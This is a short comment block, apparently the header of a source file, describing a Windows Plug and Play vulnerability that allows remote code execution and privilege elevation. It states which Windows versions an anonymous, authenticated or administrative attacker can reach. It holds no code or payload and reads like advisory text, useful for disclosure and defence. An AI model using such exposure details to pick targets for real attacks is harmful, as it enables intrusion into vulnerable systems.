 * ---------------------------------------------------------------------
 * Description:
 *    A remote code execution and local elevation of privilege
 *    vulnerability exists in Plug and Play that could allow an
 *    attacker who successfully exploited this vulnerability to take
 *    complete control of the affected system.
 *
 *    This is a remote code execution and local privilege elevation
 *    vulnerability. On Windows 2000, an anonymous attacker could
 *    remotely try to exploit this vulnerability.
 *
 *    On Windows XP Service Pack 1, only an authenticated user could
 *    remotely try to exploit this vulnerability.
 *    On Window XP Service Pack 2 and Windows Server 2003, only an
 *    administrator can remotely access the affected component.
 *    Therefore, on Windows XP Service Pack 2 and Windows Server 2003,
 *    this is strictly a local privilege elevation vulnerability.
 *    An anonymous user cannot remotely attempt to exploit this
 *    vulnerability on Windows XP Service Pack 2 and Windows
 *    Server 2003.
